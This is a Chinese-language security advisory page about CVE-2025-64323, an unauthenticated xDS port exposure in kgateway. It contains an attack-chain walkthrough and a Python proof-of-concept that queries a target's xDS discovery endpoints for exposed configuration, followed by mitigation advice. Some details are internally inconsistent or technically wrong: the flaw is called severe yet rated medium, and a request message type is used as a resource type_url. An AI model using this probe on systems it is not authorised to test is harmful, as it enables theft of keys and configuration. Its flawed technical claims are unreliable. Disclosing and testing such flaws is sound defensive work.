IPBUF安全漏洞报告
English
CVE-2025-64323 CVSS 5.3 中危

CVE-2025-64323: kgateway xDS端口未授权访问漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64323
漏洞类型
未授权访问/认证绕过
CVSS评分
5.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
kgateway (Cloud-Native API and AI Gateway)

相关标签

未授权访问认证绕过xDS云原生网关kgateway配置泄露中间件漏洞

漏洞概述

CVE-2025-64323是存在于kgateway云原生API和AI网关中的一个严重安全漏洞。该漏洞影响kgateway的2.0.4及以下版本以及2.1.0-agw-cel-rbac至2.1.0-rc.2版本。漏洞的根本原因在于这些版本的kgateway在xDS端口(通常用于服务网格和服务发现)上缺乏必要的认证机制。攻击者只需具备对xDS端口的网络访问权限,无需任何凭据即可向该端口发送请求并获取系统配置数据。这些数据包括但不限于:TLS/SSL证书和私钥信息、后端服务的详细配置、API路由规则和转发策略、集群元数据以及内部服务拓扑结构等敏感信息。攻击者可以利用这些泄露的敏感数据进一步发起更复杂的攻击,如中间人攻击、服务冒充或横向移动。该漏洞的CVSS评分为5.3,属于中等严重程度,但由于攻击复杂度较低且不需要认证,在实际环境中仍具有较高的利用价值。建议所有使用受影响版本的用户尽快升级到修复版本2.0.5或2.1.0。

技术细节

kgateway是一个基于Envoy代理构建的云原生API和AI网关,提供了流量管理、认证授权、限流熔断等功能。xDS是Envoy用于动态配置的服务发现API,包括LDS(Listener Discovery Service)、RDS(Route Discovery Service)、CDS(Cluster Discovery Service)和EDS(Endpoint Discovery Service)等。在受影响的版本中,xDS端口(默认配置下通常为15010或类似端口)没有启用mTLS或任何形式的认证机制。攻击者可以通过向该端口发送标准的xDS请求(如gRPC或REST格式),使用Any类型资源请求(如type.googleapis.com/envoy.service.discovery.v3.DiscoveryRequest)来获取所有配置资源。Envoy控制平面会返回完整的配置数据,包括监听器配置、路由配置、集群配置和端点配置。关键的是,这些配置中可能包含敏感信息如证书私钥(base64编码)、后端服务地址和认证凭据。攻击者利用此漏洞可以完整导出网关配置,为后续攻击提供情报支持。

攻击链分析

STEP 1
步骤1: 网络扫描
攻击者对目标网络进行扫描,发现kgateway服务的xDS端口(通常为15010、15012等)处于开放状态
STEP 2
步骤2: 端口探测
攻击者确认xDS端口可访问,并尝试发送DiscoveryRequest请求探测是否需要认证
STEP 3
步骤3: 未授权配置获取
由于缺乏认证机制,攻击者使用空的或伪造的node信息发送xDS请求,即可获取完整的配置数据
STEP 4
步骤4: 敏感信息提取
攻击者从返回的配置中提取敏感信息,包括TLS证书、私钥、后端服务地址、路由规则等
STEP 5
步骤5: 横向移动/进一步攻击
利用获取的敏感信息,攻击者可以发起中间人攻击、冒充后端服务、或进行内网横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64323 PoC - kgateway xDS Unauthorized Access This PoC demonstrates the lack of authentication on the xDS port. """ import requests import json import sys def check_xds_port(target_host, xds_port=15010): """ Check if the xDS port is accessible without authentication. """ base_url = f"http://{target_host}:{xds_port}" # Try to access xDS endpoints without authentication endpoints = [ "/v3/discovery:clusters", "/v3/discovery:listeners", "/v3/discovery:routes", "/v3/discovery:endpoints" ] results = { "target": target_host, "port": xds_port, "vulnerable": False, "exposed_data": [] } for endpoint in endpoints: try: # gRPC-style request response = requests.post( f"{base_url}{endpoint}", headers={ "Content-Type": "application/json", "xds-protocol-version": "v3" }, json={ "node": { "id": "test-node", "cluster": "test-cluster" }, "type_url": "type.googleapis.com/envoy.service.discovery.v3.DiscoveryRequest", "resource_names": [] }, timeout=5 ) if response.status_code == 200: data = response.json() if data.get("resources"): results["vulnerable"] = True results["exposed_data"].append({ "endpoint": endpoint, "status": "EXPOSED", "resource_count": len(data.get("resources", [])) }) except requests.exceptions.RequestException: pass return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-64323-poc.py <target_host>") sys.exit(1) target = sys.argv[1] result = check_xds_port(target) print(json.dumps(result, indent=2)) if result["vulnerable"]: print("\n[!] Target is VULNERABLE to CVE-2025-64323") print("[!] xDS port is accessible without authentication")

影响范围

kgateway <= 2.0.4
kgateway 2.1.0-agw-cel-rbac through 2.1.0-rc.2

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:在网络层限制对xDS端口的访问,只允许受信任的IP地址访问;启用xDS端口的TLS加密传输;在Kubernetes环境中使用NetworkPolicy限制Pod间的通信;监控xDS端口的异常访问日志,及时发现未授权的探测行为。但请注意,这些措施仅为临时缓解,最根本的解决方案仍是升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表